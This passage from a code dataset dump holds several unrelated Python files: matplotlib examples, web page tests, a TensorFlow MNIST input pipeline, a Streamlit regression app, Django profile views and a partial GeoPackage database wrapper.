t, t**3, 'g^')\n#lines = p.plot(x, y1, x, y2)\n#p.setp(lines, color='r', linewidth=2.0)\n#\n#p.show()\n\n#import numpy as np\n#import matplotlib.pyplot as plt\n#\n#def f(t):\n# return np.exp(-t) * np.cos(2*np.pi*t)\n#\n#t1 = np.arange(0.0, 5.0, 0.1)\n#t2 = np.arange(0.0, 5.0, 0.02)\n#\n#plt.figure(1)\n#plt.subplot(222) #numrows, numcols, figure_num\n#plt.plot(t1, f(t1), 'bo', t2, f(t2), 'k')\n#\n##plt.subplot(212)\n##plt.plot(t2, np.cos(2*np.pi*t2), 'r--')\n#plt.show()\n\n#import matplotlib.pyplot as plt\n#plt.figure(1) # the first figure\n#plt.subplot(211) # the first subplot in the first figure\n#plt.plot([1, 2, 3])\n#plt.subplot(212) # the second subplot in the first figure\n#plt.plot([4, 5, 6])\n#\n#plt.figure(2) # a second figure\n#plt.plot([4, 5, 6])\n#plt.figure(1) #figure 1 current; subplot(212) still current)\n#plt.subplot(211) # make subplot(211) in figure1 current\n#plt.title('Easy as 1, 2, 3') #subplot 211 title\n#\n#plt.show()\n\n#import numpy as np\n#import matplotlib.pyplot as plt\n#\n#mu, sigma = 100, 15\n#x = mu + sigma * np.random.randn(10000)\n#\n## the histogram of the data\n#n, bins, patches = plt.hist(x, 50, normed=1, facecolor='g', alpha=0.75)\n#\n#plt.xlabel('Smarts')\n#plt.ylabel('Probability')\n#plt.title('Histogram of iq')\n#plt.text(60, .025, r'$\\mu100, \\ \\sigma=15$')\n#plt.axis([40, 160, 0, 0.03])\n#plt.grid(True)\n#plt.show()\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nax = plt.subplot(111)\nt = np.arange(0.0, 5.0, 0.01)\ns = np.cos(2*np.pi*t)\nline, = plt.plot(t, s, lw=2)\n\nplt.annotate('local max', xy=(2, 1), xytext=(3, 1.5),\n arrowprops=dict(facecolor='black', shrink=0.05),)\n\nplt.ylim(-2, 2)\nplt.show()\n", "sub_path": "plt_test.py", "file_name": "plt_test.py", "file_ext": "py", "file_size_in_byte": 1965, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.subplot", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}]} {"seq_id": "478563029", "text": "\"\"\"\nFile for modules/rentbyowner/tests/test_home.py\n\"\"\"\n\nfrom modules.vrs.tests.base_test_home import BaseTestHome\n\nBaseTestHome.__test__ = False\n\n\nclass TestHome(BaseTestHome):\n __test__ = True\n \"\"\"\n Test class for Home page\n \"\"\"\n\n def test_banner_title(self, client):\n \"\"\"\n This method test the banner title of home page\n :param client:\n :return:\n \"\"\"\n response = client.get(self.url)\n\n assert b'Discover Top Vacation Rentals and Holiday Homes' in response.get_data()\n\n def test_sub_banner_title(self, client):\n \"\"\"\n This method test the banner sub title of home page\n :param client:\n :return:\n \"\"\"\n response = client.get(self.url)\n\n assert b'At one of our 10 million vacation rentals' in response.get_data()\n", "sub_path": "modules/bedroomvillas/tests/test_home.py", "file_name": "test_home.py", "file_ext": "py", "file_size_in_byte": 827, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "modules.vrs.tests.base_test_home.BaseTestHome.__test__", "line_number": 7, "usage_type": "attribute"}, {"api_name": "modules.vrs.tests.base_test_home.BaseTestHome", "line_number": 7, "usage_type": "name"}, {"api_name": "modules.vrs.tests.base_test_home.BaseTestHome", "line_number": 10, "usage_type": "name"}]} {"seq_id": "617946326", "text": "\"\"\"Functions for downloading and reading MNIST data.\"\"\"\nfrom __future__ import print_function\nimport gzip\nimport os\nfrom six.moves import urllib\n\nimport numpy as np\nimport tensorflow as tf\n\nSOURCE_URL = 'http://yann.lecun.com/exdb/mnist/'\n\ntf.app.flags.DEFINE_string(\"dir_data\", \"./data\", \"data directory\")\n\ntf.app.flags.DEFINE_integer(\"batch_size\", 100, \"batch size\")\n\nFLAGS = tf.app.flags.FLAGS\n#VALIDATION_SIZE = 10000\nTRAIN_SIZE = 50000\nVALIDATION_SIZE = 60000 - TRAIN_SIZE\nNUM_CLASSES = 10\n\ntrain_data_filename = None\ntrain_labels_filename = None\ntest_data_filename = None\ntest_labels_filename = None\niter_per_epoch = None\n\ndef init():\n \"\"\"\n do initialization of this module.\n If we don't have files in local, this start to download.\n \"\"\"\n global train_data_filename\n global train_labels_filename\n global test_data_filename\n global test_labels_filename\n global iter_per_epoch\n\n print (\"start data download\")\n train_data_filename = maybe_download('train-images-idx3-ubyte.gz')\n train_labels_filename = maybe_download('train-labels-idx1-ubyte.gz')\n test_data_filename = maybe_download('t10k-images-idx3-ubyte.gz')\n test_labels_filename = maybe_download('t10k-labels-idx1-ubyte.gz') \n\n print (\"finish data download\")\n\n iter_per_epoch = VALIDATION_SIZE / FLAGS.batch_size \n\ndef train_input():\n train_data = extract_data(train_data_filename, 60000)\n train_labels = extract_labels(train_labels_filename, 60000)\n\n data = train_data[:TRAIN_SIZE, ...]\n labels = train_labels[:TRAIN_SIZE]\n\n image, label = tf.train.slice_input_producer((data, labels), shuffle=True, capacity=4096, name=\"label_input\")\n return make_batch(image, label)\n\n\ndef validate_input():\n train_data = extract_data(train_data_filename, 60000)\n train_labels = extract_labels(train_labels_filename, 60000)\n\n data = train_data[TRAIN_SIZE:, ...]\n labels = train_labels[TRAIN_SIZE:]\n\n image, label = tf.train.slice_input_producer((data, labels), shuffle=False, capacity=4096, name=\"validate_input\")\n return make_batch(image, label, need_onehot=False)\n\ndef test_input():\n data = extract_data(test_data_filename, 10000)\n labels = extract_labels(test_labels_filename, 10000)\n\n image, label = tf.train.slice_input_producer((data, labels), shuffle=False)\n return make_batch(image, label, need_onehot=False)\n\n\ndef get_image(idx):\n data = extract_data(test_data_filename, 10000)\n target = data[idx]\n preprocessed = preprocess(target)\n reshaped = preprocessed.reshape(1, 28, 28, 1)\n return target, reshaped\n \n\ndef preprocess(src):\n \"\"\"\n do common image preprocess among train and test.\n [0,255] -> [-0.5, 0.5]\n \n Args:\n src: Tensor [h, w, channel]\n Returns:\n dest: Tensor [h*w*channel]\n \"\"\"\n #src = tf.reshape(src,[-1])\n \n return (src / 255) - 0.5\n\ndef make_batch(image, label=None, need_onehot=True):\n \"\"\"\n preprocess image and labe. Than make batch.\n This doesn't shuffle.\n\n Args:\n image: Tensor of image data\n label: Tensor of label data. If None, label is not contained in batch\n need_onehot: whether to make onehot vector for label\n \"\"\"\n preprocessed = preprocess(image)\n\n if need_onehot and label is not None:\n label_vector = tf.one_hot(label, NUM_CLASSES, dtype=tf.float32)\n else:\n label_vector = label\n\n num_preprocess_threads = 8\n #num_preprocess_threads = 2\n capacity = 256\n\n if label is not None:\n images, label_batch = tf.train.batch(\n [preprocessed, label_vector],\n batch_size=FLAGS.batch_size,\n num_threads=num_preprocess_threads,\n capacity=capacity,\n name=\"label_batch\"\n )\n\n return images, label_batch\n \n else:\n images = tf.train.batch(\n [preprocessed],\n batch_size=FLAGS.batch_size,\n num_threads=num_preprocess_threads,\n capacity=capacity,\n name=\"unlabel_batch\"\n )\n\n return images\n\n\n \n\n\ndef maybe_download(filename):\n \"\"\"Download the data from Yann's website, unless it's already here.\"\"\"\n WORK_DIRECTORY = FLAGS.dir_data\n \n if not tf.gfile.Exists(WORK_DIRECTORY):\n tf.gfile.MakeDirs(WORK_DIRECTORY)\n filepath = os.path.join(WORK_DIRECTORY, filename)\n if not tf.gfile.Exists(filepath):\n filepath, _ = urllib.request.urlretrieve(SOURCE_URL + filename, filepath)\n with tf.gfile.GFile(filepath) as f:\n size = f.Size()\n print('Successfully downloaded', filename, size, 'bytes.')\n \n return filepath\n\ndef extract_data(filename, num_images):\n \"\"\"\n Extract the images into a 4D tensor.\n\n Args:\n filename: image filename\n num_images: the numer of image in file\n\n Returns:\n data : image ranges [0,255] Tensor(image index, y, x, channels)\n \"\"\"\n IMAGE_SIZE = 28\n NUM_CHANNELS = 1\n\n with gzip.open(filename) as bytestream:\n bytestream.read(16)\n buf = bytestream.read(IMAGE_SIZE * IMAGE_SIZE * num_images * NUM_CHANNELS)\n data = np.frombuffer(buf, dtype=np.uint8).astype(np.float32)\n data = data.reshape(num_images, IMAGE_SIZE, IMAGE_SIZE, NUM_CHANNELS)\n \n return data\n\ndef extract_labels(filename, num_images):\n \"\"\"Extract the labels into a vector of int64 label IDs.\"\"\"\n print('Extracting', filename)\n with gzip.open(filename) as bytestream:\n bytestream.read(8)\n buf = bytestream.read(1 * num_images)\n labels = np.frombuffer(buf, dtype=np.uint8).astype(np.int64)\n return labels\n \n", "sub_path": "mnist_input.py", "file_name": "mnist_input.py", "file_ext": "py", "file_size_in_byte": 5266, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.app.flags.DEFINE_string", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.app", "line_number": 12, "usage_type": "attribute"}, {"api_name": "tensorflow.app.flags.DEFINE_integer", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.app", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.app", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tensorflow.train.slice_input_producer", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.train.slice_input_producer", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 67, "usage_type": "attribute"}, {"api_name": "tensorflow.train.slice_input_producer", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 74, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tensorflow.train.batch", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.train.batch", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.gfile.Exists", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 151, "usage_type": "attribute"}, {"api_name": "tensorflow.gfile.MakeDirs", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "tensorflow.gfile.Exists", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 154, "usage_type": "attribute"}, {"api_name": "six.moves.urllib.request.urlretrieve", "line_number": 155, "usage_type": "call"}, {"api_name": "six.moves.urllib.request", "line_number": 155, "usage_type": "attribute"}, {"api_name": "six.moves.urllib", "line_number": 155, "usage_type": "name"}, {"api_name": "tensorflow.gfile.GFile", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 156, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 179, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 179, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 190, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 190, "usage_type": "attribute"}]} {"seq_id": "167795125", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 15 18:19:51 2021\r\n\r\n@author: user\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nimport streamlit as st\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.neighbors import KNeighborsRegressor\r\nfrom sklearn.metrics import r2_score\r\n\r\nst.title(\"Profit Prediction using different ML Algorithms\")\r\ndata = pd.read_csv(\"50_Startups.csv\")\r\n\r\ndf1 = data.drop(['State'],axis = 1)\r\n\r\n# Splitting the dataset into Train and Test set\r\nX = df1.drop(['Profit'],axis=1)\r\ny = df1['Profit']\r\nX_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.2,random_state = 123)\r\n\r\n# Algorithm Selection\r\nst.subheader('Select Regressor')\r\nalgo = st.selectbox('Select Regressor',('Linear Regressor','Random Forest Regressor','KNN Regressor'))\r\ndef get_regressor(algo):\r\n if algo =='Linear Regressor' :\r\n reg = LinearRegression()\r\n elif algo == 'Random Forest Regressor':\r\n reg = RandomForestRegressor()\r\n else:\r\n reg = KNeighborsRegressor()\r\n \r\n st.write(algo)\r\n return reg\r\n\r\nreg = get_regressor(algo)\r\n \r\nreg.fit(X_train,y_train) \r\ny_pred = reg.predict(X_test)\r\n\r\n \r\nr2 = r2_score(y_test,y_pred) \r\nst.write(f'r2_score for {algo} is {r2}')\r\n\r\n# Predicting on user values\r\nst.header('Predicting Profit')\r\n\r\ndef profitPrediction(rd_spent,admn_spent,market_spent):\r\n values = np.array([[rd_spent,admn_spent,market_spent]]).astype(np.float64)\r\n prediction = reg.predict(values)\r\n return prediction\r\n\r\ndef main():\r\n rd_spent = st.text_input('R&D Spent',\"\")\r\n admn_spent = st.text_input('Administration',\"\")\r\n market_spent = st.text_input('Marketing Spend','')\r\n \r\n result = ''\r\n \r\n if st.button(\"Predict\"):\r\n result = profitPrediction(rd_spent,admn_spent,market_spent)\r\n st.write('The Profit of the company is:')\r\n st.success(result)\r\n \r\n \r\nif __name__ == '__main__':\r\n main()\r\n \r\n# Exploratory Data Analysis\r\nst.header(\"EDA\")\r\nst.write('Shape of the data',data.shape)\r\nst.write('Columns of the data',data.columns)\r\nst.write('Description of the data',data.describe())\r\nst.write('Checking Null values of the data',data.isnull().sum())\r\n\r\n# Plots\r\n\r\nst.subheader('Line Chart')\r\nst.line_chart(df1)\r\n\r\nst.subheader('Correlation')\r\ncor = data.corr()\r\nst.write(cor)\r\nplt.matshow(data.corr()) \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ", "sub_path": "profitapp.py", "file_name": "profitapp.py", "file_ext": "py", "file_size_in_byte": 2701, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "streamlit.title", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsRegressor", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 39, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 55, "usage_type": "attribute"}, {"api_name": "streamlit.text_input", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 62, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 66, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 68, "usage_type": "call"}, {"api_name": "streamlit.success", "line_number": 69, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 76, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 77, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 78, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 79, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 80, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 84, "usage_type": "call"}, {"api_name": "streamlit.line_chart", "line_number": 85, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 87, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.matshow", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}]} {"seq_id": "243163546", "text": "from django.contrib.auth import authenticate, login\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponse\n# from django.views.generic import CreateView, TemplateView\nfrom datetime import datetime\n\nfrom artists.forms import NewArtForm, TagForm, UserDescriptionForm\nfrom artists.models import ArtworksTags, Tags, Arts, UserDescription\nfrom .forms import RegisterForm, EditProfileFrom, AddArtForm\n\n# Create your views here.\nfrom .models import UserArtwork\n\n\ndef register(request):\n if request.method == \"POST\":\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n new_user = authenticate(username=form.cleaned_data['username'],\n password=form.cleaned_data['password1'],\n )\n login(request, new_user)\n return redirect('/user/profile/')\n else:\n form = RegisterForm()\n\n return render(request, 'account/register.html', {'form': form})\n\n\ndef user_list(request):\n queryset = User.objects.all() # list of objects\n return render(request, 'account/userList.html', {'object_list': queryset})\n\n\ndef all_user_works(request):\n queryset = Arts.objects.filter(user_id=request.user.id).order_by('-timestamp') # list of objects\n context = {'object_list': queryset, 'user': request.user}\n return render(request, 'account/all_user_works.html', context)\n\n\ndef art_delete(request, pk):\n art_to_delete = get_object_or_404(Arts, id=pk)\n try:\n art_to_delete.delete()\n finally:\n return redirect(\"/user/myworks\")\n\n\ndef profile_view(request):\n if not request.user.is_authenticated:\n html = \"<h1>You are not logged in.</h1><a href='/login'>Log in.</a>\"\n return HttpResponse(html)\n # za vpisane uporabnike pripravim pravi view\n if request.method == \"POST\":\n form = NewArtForm(request.POST)\n form2 = TagForm(request.POST)\n if form.is_valid() and form2.is_valid():\n new_art = form.save(commit=False)\n new_art.user_id = request.user\n new_art.timestamp = datetime.now()\n new_art.save()\n tags_input = form2.cleaned_data['tag']\n all_tags = set(tags_input.split(\", \"))\n for tg in all_tags:\n new_tag = Tags.objects.create(tag=tg)\n ArtworksTags.objects.create(tag_id=new_tag, artwork_id=new_art)\n context = {'form': NewArtForm(), 'new_art': new_art, \"form2\": form2}\n return redirect('/user/myworks/')\n else:\n return render(request, 'account/profile.html', {'form': NewArtForm(), \"form2\": TagForm()})\n else: # request je get\n form = NewArtForm()\n form2 = TagForm()\n context = {'form': form, \"form2\": form2}\n return render(request, 'account/profile.html', context)\n\n\ndef edit_profile(request):\n if not request.user.is_authenticated:\n html = \"<h1>You are not logged in.</h1><a href='/login'>Log in.</a>\"\n return HttpResponse(html)\n # za vpisane uporabnike pripravim pravi view\n if request.method == 'POST':\n form = EditProfileFrom(request.POST, instance=request.user)\n form2 = UserDescriptionForm(request.POST)\n\n if form.is_valid() and form2.is_valid():\n # dobro je izpolnjeno, posodobim bazo\n obj, created = UserDescription.objects.update_or_create(\n user_id_id=request.user.id,\n defaults={'description': form2.cleaned_data['description']}\n )\n form.save()\n return redirect('/user/profile')\n else:\n # ce formi niso dobro izpolnjeni\n form = EditProfileFrom()\n form2 = UserDescriptionForm()\n else:\n try:\n old_description = UserDescription.objects.get(user_id_id=request.user.id)\n form2 = UserDescriptionForm(instance=old_description)\n except Exception:\n form2 = UserDescriptionForm()\n form = EditProfileFrom(instance=request.user)\n context = {'form': form, 'form2': form2}\n return render(request, 'account/edit_profile.html', context)\n\n return render(request, 'account/edit_profile.html', {})\n\n\ndef logout(request):\n return render(request, 'account/logout.html', {})\n", "sub_path": "umetnine/account/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4378, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "forms.RegisterForm", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "forms.RegisterForm", "line_number": 27, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "artists.models.Arts.objects.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "artists.models.Arts.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "artists.models.Arts", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 44, "usage_type": "call"}, {"api_name": "artists.models.Arts", "line_number": 44, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 54, "usage_type": "call"}, {"api_name": "artists.forms.NewArtForm", "line_number": 57, "usage_type": "call"}, {"api_name": "artists.forms.TagForm", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "artists.models.Tags.objects.create", "line_number": 67, "usage_type": "call"}, {"api_name": "artists.models.Tags.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "artists.models.Tags", "line_number": 67, "usage_type": "name"}, {"api_name": "artists.models.ArtworksTags.objects.create", "line_number": 68, "usage_type": "call"}, {"api_name": "artists.models.ArtworksTags.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "artists.models.ArtworksTags", "line_number": 68, "usage_type": "name"}, {"api_name": "artists.forms.NewArtForm", "line_number": 69, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 72, "usage_type": "call"}, {"api_name": "artists.forms.NewArtForm", "line_number": 72, "usage_type": "call"}, {"api_name": "artists.forms.TagForm", "line_number": 72, "usage_type": "call"}, {"api_name": "artists.forms.NewArtForm", "line_number": 74, "usage_type": "call"}, {"api_name": "artists.forms.TagForm", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 83, "usage_type": "call"}, {"api_name": "forms.EditProfileFrom", "line_number": 86, "usage_type": "call"}, {"api_name": "artists.forms.UserDescriptionForm", "line_number": 87, "usage_type": "call"}, {"api_name": "artists.models.UserDescription.objects.update_or_create", "line_number": 91, "usage_type": "call"}, {"api_name": "artists.models.UserDescription.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "artists.models.UserDescription", "line_number": 91, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 96, "usage_type": "call"}, {"api_name": "forms.EditProfileFrom", "line_number": 99, "usage_type": "call"}, {"api_name": "artists.forms.UserDescriptionForm", "line_number": 100, "usage_type": "call"}, {"api_name": "artists.models.UserDescription.objects.get", "line_number": 103, "usage_type": "call"}, {"api_name": "artists.models.UserDescription.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "artists.models.UserDescription", "line_number": 103, "usage_type": "name"}, {"api_name": "artists.forms.UserDescriptionForm", "line_number": 104, "usage_type": "call"}, {"api_name": "artists.forms.UserDescriptionForm", "line_number": 106, "usage_type": "call"}, {"api_name": "forms.EditProfileFrom", "line_number": 107, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 109, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 111, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 115, "usage_type": "call"}]} {"seq_id": "321941501", "text": "import os\nfrom osgeo import ogr\nfrom qgis.core import QgsGeometry\nimport pandas as pd\nimport numpy as np\nfrom typing import Union\nfrom collections import OrderedDict\n\nfrom projektcheck.base import Database, Table, Workspace\n\ndriver = ogr.GetDriverByName('GPKG')\n\nDATATYPES = {\n int: ogr.OFTInteger64,\n bool: ogr.OFSTBoolean,\n float: ogr.OFTReal,\n str: ogr.OFTString\n}\n\nclass GeopackageWorkspace(Workspace):\n def __init__(self, name, database):\n self.name = name\n self.path = self.fn(database, name)\n if not name:\n raise ValueError('workspace name can not be empty')\n if not os.path.exists(self.path):\n raise FileNotFoundError(f'{self.path} does not exist')\n self._conn = ogr.Open(self.path, 0 if database.read_only else 1)\n\n @staticmethod\n def fn(database, name):\n fn = os.path.join(database.base_path, name).rstrip('\\\\')\n if not fn.endswith('.gpkg'):\n fn += '.gpkg'\n return fn\n\n @classmethod\n def get_or_create(cls, name, database):\n path = cls.fn(database, name)\n if not os.path.exists(path):\n cls.create(name, database)\n return GeopackageWorkspace(name, database)\n\n @classmethod\n def create(cls, name, database, overwrite=False):\n path = cls.fn(database, name)\n if overwrite and os.path.exists(path):\n os.remove(path)\n driver.CreateDataSource(path)\n return GeopackageWorkspace(name, database)\n\n @property\n def tables(self):\n tables = [l.GetName() for l in self._conn]\n return tables\n\n def get_table(self, name: str, where: str='', fields: list=None,\n defaults: dict={}):\n if name not in self.tables:\n raise FileNotFoundError(f'layer {name} not found')\n return GeopackageTable(name, self, where=where, fields=fields,\n defaults=defaults)\n\n def create_table(self, name: str, fields: dict, geometry_type: str=None,\n overwrite: bool=False, defaults: dict={}):\n '''\n geometry_type: str, optional\n adds geometry to layer, wkb geometry type string\n '''\n if overwrite:\n self._conn.DeleteLayer(name)\n kwargs = {}\n if geometry_type:\n wkb_types = self.wkb_types\n geometry_type = 'wkb' + geometry_type\n if geometry_type not in wkb_types:\n raise ValueError(\n f'geometry type {geometry_type} is unknown. Available'\n f'types are:\\n {wkb_types}'\n )\n geometry_type = getattr(ogr, geometry_type)\n kwargs['geom_type'] = geometry_type\n layer = self._conn.CreateLayer(name, **kwargs)\n for fieldname, typ in fields.items():\n dt = DATATYPES[typ]\n field = ogr.FieldDefn(fieldname, dt)\n layer.CreateField(field)\n return self.get_table(name, defaults=defaults)\n\n @property\n def wkb_types(self):\n return [a for a in ogr.__dict__.keys() if a.startswith('wkb')]\n\n def __repr__(self):\n return f\"GeopackageWorkspace {self.name} {self.path}\"\n\n def close(self):\n self._conn = None\n\n\nclass GeopackageTable(Table):\n def __init__(self, name, workspace: GeopackageWorkspace, where: str='',\n fields: list=None, defaults: dict={}):\n self.workspace = workspace\n self.name = name\n self.where = where\n self._fields = None\n self.defaults = defaults\n if fields is not None:\n f = np.array(fields)\n isin = np.isin(f, np.array(list(self.fields.keys())))\n if not np.all(isin):\n notin = ', '.join(f[isin != True])\n raise ValueError(\n f'fields \"{notin}\" are not in table {self.name}')\n self._fields = fields\n\n def __next__(self):\n cursor = self._layer.GetNextFeature()\n self._cursor = cursor\n if not cursor:\n raise StopIteration\n if self._fields is not None:\n items = OrderedDict([(f, cursor[f]) for f in self._fields])\n else:\n items = OrderedDict(self._cursor.items())\n return items\n\n @property\n def where(self):\n return self._where\n\n @where.setter\n def where(self, value):\n self._cursor = None\n self._where = value\n self._layer = self.workspace._conn.GetLayerByName(self.name)\n if self._layer is None:\n raise ConnectionError(f'layer {self.name} not found')\n self._layer.SetAttributeFilter(value)\n\n @property\n def fields(self):\n if self._fields is not None:\n return self._fields\n definition = self._layer.GetLayerDefn()\n fields = {}\n for i in range(definition.GetFieldCount()):\n defn = definition.GetFieldDefn(i)\n fields[defn.GetName()] = defn.GetTypeName()\n return fields\n\n def add(self, row: Union[dict, list], geom=None):\n fields = self.fields.keys()\n if isinstance(row, list):\n row = dict(zip(fields, row))\n # set missing fields to default (if in default)\n for field, default in self.defaults.items():\n if field not in row:\n row[field] = default\n feature = ogr.Feature(self._layer.GetLayerDefn())\n for field, value in row.items():\n if field not in fields:\n raise ValueError(f'{field} is not in fields of '\n f'table {self.name}')\n feature.SetField(field, value)\n if geom and isinstance(geom, 